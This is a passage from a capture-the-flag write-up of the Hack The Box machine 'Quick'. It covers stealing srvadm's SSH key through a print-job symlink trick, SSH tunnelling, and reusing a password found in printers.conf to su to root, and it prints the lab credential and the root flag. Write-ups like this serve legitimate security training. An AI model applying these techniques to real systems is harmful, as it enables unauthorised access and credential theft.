After a lot of troubleshooting I arrived at the script above and was able to retrieve the SSH key. I ended up having to remove the print job file job.php made, copy its filename to a variable, then symlink the id_rsa file to a file with the same name as the print job file. This all had to happen before the print job was sent to my waiting nc listener.
Enumeration as srvadm
zweilos@kali:~/htb/quick$ ssh -i srvadm.id_rsa srvadm@quick.htb
load pubkey "srvadm.id_rsa": invalid format
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'srvadm.id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "srvadm.id_rsa": bad permissions
srvadm@quick.htb's password:
forgot to change the permissions of the private key to 600
zweilos@kali:~/htb/quick$ chmod 600 srvadm.id_rsa
zweilos@kali:~/htb/quick$ ssh -i srvadm.id_rsa srvadm@quick.htb
load pubkey "srvadm.id_rsa": invalid format
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Aug 16 22:28:26 UTC 2020
System load: 0.0 Users logged in: 1
Usage of /: 30.1% of 19.56GB IP address for ens33: 10.10.10.186
Memory usage: 23% IP address for br-9ef1bb2e82cd: 172.18.0.1
Swap usage: 0% IP address for docker0: 172.17.0.1
Processes: 134
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
54 packages can be updated.
28 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Aug 16 11:56:50 2020 from 10.10.14.110
srvadm@quick:~$ sudo -l
[sudo] password for srvadm:
srvadm@quick:~/.cache/conf.d$ telnet 127.0.0.1 8081
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
ls
HTTP/1.1 400 No URI
Content-Length: 0
Connection: close
Server: Jetty(9.1.z-SNAPSHOT)
Connection closed by foreign host.
srvadm@quick:~/.cache$ ls -la
total 20
drwx------ 5 srvadm srvadm 4096 Mar 20 06:20 .
drwxr-xr-x 6 srvadm srvadm 4096 Mar 20 06:37 ..
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:23 conf.d
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:46 logs
-rw-r--r-- 1 srvadm srvadm 0 Mar 20 02:38 motd.legal-displayed
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:18 packages
srvadm@quick:~/.cache$ cd conf.d/
srvadm@quick:~/.cache/conf.d$ ls -la
total 20
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:23 .
drwx------ 5 srvadm srvadm 4096 Mar 20 06:20 ..
-rw-r--r-- 1 srvadm srvadm 4569 Mar 20 06:20 cupsd.conf
-rw-r--r-- 1 srvadm srvadm 4038 Mar 20 06:23 printers.conf
srvadm@quick:~/.cache/conf.d$ vim printers.conf
srvadm@quick:~/.cache/conf.d$ curl https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
curl: (6) Could not resolve host: printerv3.quick.htb
first tunnel
zweilos@kalimaa:~/htb/quick$ ssh -L 40905:10.10.10.186:443 -i srvadm.id_rsa srvadm@quick.htb
then
https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
decodes to
https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer
I thought &ftQ4K3SGde8? looked like it was being used as a password, so I tested it to see if I could use sudo as srvadm, but it didn't work. I decided to try something crazy, and tried to su to root...and it worked!
Root.txt
srvadm@quick:~/.cache/conf.d$ su root
Password:
root@quick:/home/srvadm/.cache/conf.d# cd /root
root@quick:~# whoami && uname -a
root
Linux quick 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
root@quick:~# cat root.txt
d5d1c123d8fd11db776d25ddb3e8256a
Thanks to <box_creator> for something interesting or useful about this machine.
If you like this content and would like to see more, please consider buying me a coffee!
I logged in successfully, now to test my port forwarding in the browser. Unfortunately it didn't work, though I quickly spotted the problem. I was trying to connect to 10.10.10.186 on port 80, just from the quick.htb machine, which I already knew was blocked. I needed to access the site the same way I had with curl earlier, with 127.0.0.1:80.
After fixing the IP, I was able to connect to the virtual hosted page.